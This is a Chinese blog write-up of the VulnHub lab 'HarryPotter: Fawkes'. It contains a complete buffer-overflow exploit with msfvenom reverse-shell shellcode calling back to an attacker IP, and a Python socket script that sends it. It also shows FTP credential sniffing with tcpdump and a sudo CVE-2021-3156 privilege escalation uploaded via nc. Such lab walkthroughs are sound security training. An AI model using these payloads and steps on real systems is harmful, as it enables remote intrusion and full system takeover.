作者名:Demo不是emo
主页面链接:主页传送门创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家座右铭:不要让时代的悲哀成为你的悲哀专研方向:网络安全,web安全
每日emo:第18次梦见
今天的博客内容是HARRYPOTTER: FAWKES教程(困难难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: FAWKES就能下载今天的靶场,也可以找我拿,开始对今天靶场的介绍
这是哈利波特vm系列靶场的第三个靶场,总共有三个靶场,其中隐藏了8个魂器,前两部的靶场中我们已经找到了隐藏的5个魂器,今天这个靶场中隐藏了三个,意思就是今天的靶场有三个flag,话不多说我们来仔细瞧瞧
靶场地址HarryPotter: Fawkes ~ VulnHub
目录
一:攻击准备
二:信息收集
1.http服务探测
2.ftp服务探测
三:信息利用
1.缓存区溢出漏洞
2.edb-debugger调试
1.关闭防护
2.安装edb-debugger
3.开始调试
4.确认漏洞
5. 寻找溢出位置
四.渗透实操
1.生成payload
2.构造exp
3.普通权限
4.初步提权
5.tcpdump流量分析
6.最终提权
一:攻击准备虚拟机下载下来直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我
(因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,不一定要跟我一样,只要能ping通就可以进行靶场操作了)
二:信息收集这里看到,我的kali攻击机的ip是172.21.43.89,而目标机器的ip是172.21.48.36,既然知道了对方的ip,我们直接用nmap扫描工具详细扫描一下,扫描结果如下:
以看到成功探测到了21,22,80,2222,9898,下面我们就来尝试利用这些端口做进一步的渗透
上方的扫描结果可以看到目标开启了80端口,并且运行的是http服务,说明目标开启了网页服务,我们直接使用浏览器访问目标的ip看看有没有什么有用的信息
可以看到只有一张图片,而且f12开发者页面也没有什么有用的信息,通常靶场出现的图片都带有隐写术的使用,但是本题经过测试并没有,所以还是老规矩直接目录扫描,这里我们使用dirsearch目录遍历工具来探测
命令如下(把目标ip换成你们自己靶机的)
dirsearch -u "http://172.21.81.133" -e *
结果如下
可以看到并没有什么有用信息,所以80端口的探测只能先暂停了
2.ftp服务探测根据上面我们扫描出来的信息可以看到目标的ftp服务存在匿名登录漏洞,我想我们应该可以从这个漏洞入手
FTP的匿名登录一般有三种: 1、 用户名:anonymous 密码:Email或者为空 2、 用户名:FTP 密码:FTP或者为空 3、 用户名:USER 密码:pass
经过登录尝试发现目标的ftp服务用户名为anonymous,密码为空,
现在我们已经成功登陆了目标的ftp服务,现在我们来看看作者留给了我们什么信息
可以看到该服务下有一个server_hogwarts文件(暂时不知道啥用),老规矩,我们用get命令下载到本地,由于我们不知道这个文件的作用,所以我们用file命令来查看文件,结果如下
可以看到这是一个基于linux的elf可执行文件,既然是可执行文件,,那我们就执行试试,所以我们先给这个文件一个执行权限,再执行该文件,结果如下
可以看到执行后并没有报错或爆出有效信息,但是却一直在运行,所以有没有可能是在后台或进程运行呢?所以我们来看看系统进程,命令如下
ps -aux | grep server
显示名字包含server的所有进程
ss -pantu | grep server
用ss查看已经建立的并且名字带有server的连接信息
注:
* ps命令多用来查看进程状态,平时用的也比较多,就不多讲了
* ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 信息,对ss命令感兴趣的同志可以点这里查看
查看到的结果如下图:
可以看到这个server_hogwarts这个进程正在运行中。并且运行的端口号和我们在扫描服务版本时同样是9898端口。
根据上面nmap扫描出来的信息可以发现9898端口运行的服务是monkeycom,根据我查阅的资料发现monkeycom是一种比较老的服务器,但是我还是不太理解,我们换个思路,既然server_hogwarts程序运行在9898端口,那我们就直接监听9898端口,看看有什么效果
因为我们正在运行server_hogwarts程序,所以我们直接用nc工具监听本地的9898端口即可
可以看到是一个输入命令的页面,提示我们输入魔法指令,还给出了常用的魔法指令,但是我们再输入后并没有得到有用的信息,但因为这个是一个输入点,所以我们可以考虑输入点常见的漏洞——缓存区溢出漏洞
三:信息利用 1.缓存区溢出漏洞缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里我们使用edb-debugger调试工具来动态测试server_hogwarts进程并找出缓存区溢出漏洞的溢出位置
2.edb-debugger调试edb-debugger是一个跨平台的 AArch32 / x86 / x86-64 调试器,具体使用步骤如下
1.关闭防护我们是通过ftp服务下载server_hogwarts到本地来调试,目的就是找出它的缓存溢出位置,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。
步骤:如下图,cd到/proc/sys/kernel目录下把randomize_va_space改成0即可
安装命令如下
apt install edb-debugger
安装之后如下图,输入edb即可启动并打开调试界面
注意:到这里时前面的server_hogwarts文件需要保持运行状态,而且9898端口的连接也不要断开
点击左上角的file——attach
找到我们要调试的进程,就是刚才我们运行的server_hogwarts,选中点击ok即可
再点击运行(就是我用红圈划出来的按键)即可开始调试这个进程
因为我们要来调试缓存区溢出漏洞, 所以就需要大量的数据,这里我们先用python生成500个A来试试,生成命令如下:
python -c "print('A'*500)"
把生成的500个A复制到刚才nc监听9898端口的输入位置,回车再进行分析
可以看到这里出现了报错,提示我们0×41414141的内存位置出现了错误,这时说明已经调试到了错误的位置,即确实存在代码溢出漏洞,我们点击ok,详细查看一下错误信息
注:这里的EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令,
攻击思路:我们可以通过修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。如果ESP的指令是反弹shell的指令,就可以反弹shell。
5. 寻找溢出位置既然确认了目标存在缓存区溢出漏洞,就需要找到缓存区溢出的位置,从而知道该从哪里插入攻击代码,同样的我们还是生成大量数据。
注:这里就不能像上面一样都生成A了,因为数据如果都一样的话就不知道溢出的位置在哪里,我们需要通过报错的地方判断出溢出位置
这里我们使用msf生成500无规律排列的字符,代码如下
msf-pattern_create -l 500
重启edb,和上面同样的操作开启调试,此时将msf生成的无规律字符输入,此时页面如下
此时的报错提示我们0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置,我们来找一下这个内存位置在输入区的位置
查询溢出位置
msf-pattern_offset -l 500 -q 64413764
可以看到偏移量为112,所以64413764就是在113个位置,当然这里也可以再来验证一下,顺便让你们更深刻的理解一下EIP寄存器和ESP寄存器的位置关系
老样子重启edb,用下面的命令生成一段调试代码,意思就是生成216个字符,前112个是A,然后是4个B,最后跟100个C
python -c "print('A'*112+'BBBB'+'C'*100)"
再用edb调试,结果如下
再次看到报错信息,此时提示0×42424242位置有问题,而42正是B的16进制,说明没啥问题,此时点击ok查看EIP和ESP的内容,内容如下
可以发现EIP寄存器的内容是BBBB,ESP寄存器内容是CCCC
再结合我们最开始的攻击思路,生成一段反弹shell的代码,并转化为16进制,放入ESP,再让EIP指向ESP,就可以强制执行ESP的代码了,也就是反弹shell的代码
但是这里我们不仅需要在ESP中放入payload,还需要让EIP指向ESP,那怎样指向呢?具体操作步骤如下
在跳转设置中选中ESP->EIP,即将ESP的内存地址作为EIP的内容,这样就可以实现EIP指向ESP了,在左侧选择执行此操作的进程(注意要选择有执行权限的,就是r-x)
此时点击FInd就会找到ESP的内存位置,选择jmp esp的内存地址,那就是我们要写入EIP的内容
可以看到结果是08049d55,但是众所周知机器命令中需要反写,所以就是559d0408(两位为一个16进制),最后得出的16进制结果就是\x55\x9d\x04\x08,这就是我们需要写入EIP的内容
四.渗透实操 1.生成payload这个生成的payload就是我们用来放进ESP并执行的反弹shell代码,但注意这里需要16进制的payload,我们直接使用msfvenom来生成就可以了,代码如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.21.36.188 LPORT=4444 -b "\x00" -f python
注意这里的ip要换成你们自己的kali攻击机ip,这里的反弹shell端口随便定,只要不冲突都可以,生成结果如图
生成的paylao如下
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"
2.构造exp
上面我们已经成功获取payload,但并不是最终的payload,因为还要考虑缓存溢出位置的问题,并且这段代码不能作出攻击行为,所以我们还需要配合这个payload来写个python脚本,生成最终的payload并编写exp来攻击,最后生成的exp如下
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('172.21.81.133',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
注:这里connect连接的是靶机的9898端口
新建一个python文件存放上面的代码
先用nc监听最开始设置的反弹shell端口,再在本地执行我们生成的python文件,具体操作如下
1.用nc监听
nc -lnvp 4444
2.执行exp文件
./exp.py
结果如下
可以看到成功连接,是一个名为harry的普通用户,并且在家目录的harry目录下,成功发现隐藏文件.mycreds.txt,打开后发现是一段类似密码的字符串
HarrYp0tter@Hogwarts123
看到了类似密码的字符串,马上就联想到了前面探测出的22端口,并且harry用户名我们也知道了,尝试ssh登录,发现失败,但是最开始探测时,22端口运行的是ssh服务,但是还有一个2222端口运行的也是ssh服务,所以我们再尝试一下2222端口的ssh登录
成功登陆,尝试进一步信息收集
但是进一步操作时却发现这台机器居然处于docker容器中,这无疑给我们加大了很多难度
但是在使用sudo -l时发现sudo命令的可执行者是ALL,就代表sudo存在配置问题,所以我们直接使用sudo -s成功拿到当前docker容器的root权限
成功在/root目录下发现隐藏文件horcrux1.txt文件,这是本关的第一个flag,内容如下:
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
还发现了一个note.txt文件,内容如下
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
这段话大致意思就是提示我们去分析ftp服务上的流量
5.tcpdump流量分析我们用tcpdump流量分析工具来监听21端口上ftp服务的流量(因为刚才ip a命令只查看到了etho这一张网卡,所以我们猜测数据是基于这张网卡产生的),具体命令如下
tcpdump -i eth0 port 21
根据截取到的流量可以看到,三次握手中发出的数据包含了账密,并且提示了我们这个账密用于登录,所以我们也成功拿到了账密
账号:neville
密码: bL!Bsg3k
老样子还是尝试通过ssh连接,但是这里用22端口的ssh就可以登录
可以看到ssh成功登录,并且ip a命令回显了IP地址,确认了我们现在已经跳出了docker容器
在家目录的neville目录下成功发现了第二个flag,内容如下:
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
6.最终提权最开始尝试了常规提权方法,sudo提权,历史命令,反弹shell等操作提权,但均以失败告终,此时就只能从系统层面入手了,所以我们先对系统进行一次信息收集
可以发现这是一台debian10,sudo的版本是1.8.27,我们上网搜索一下看是否存在漏洞
接着就是找exp,很幸运,在github上有针对该漏洞的exp,链接如下
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub
直接在kali新建一个python文件,把代码复制上去,注意这个代码唯一需要修改的地方就是sudo的路径,也就是下方我划出来的位置,要改成跟目标sudo一样的路径,像下面这样就可以了
因为此时exp文件在kali上,而我们需要目标执行这个exp文件,所以我们用nc将这个exp文件上传到目标机器
目标机器上执行的下面的操作(exp.py就是接收时文件的保存名)
nc -nvlp 4444 > exp.py
kali攻击机执行下面的操作(exploit.py就是刚才创建的python文件)
nc 172.21.81.133 4444 < exploit.py -w 1
执行结果如下:
可以看到成功提权,已经是root用户
第三个也就是最后一个flag在root目录下即可看见
第三个flag内容为
Here is your last hocrux:horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
到此这个靶场就打完了,哈利波特系列的三个靶场也都结束了,恭喜你成功击败了最后一个魂器!
真的泪目,三个靶场一个比一个难,但对我来说确实收获很大,接触了很多以前不知道的知识,感谢自己没有放弃,坚持到了最后,同学们加油哇,respect!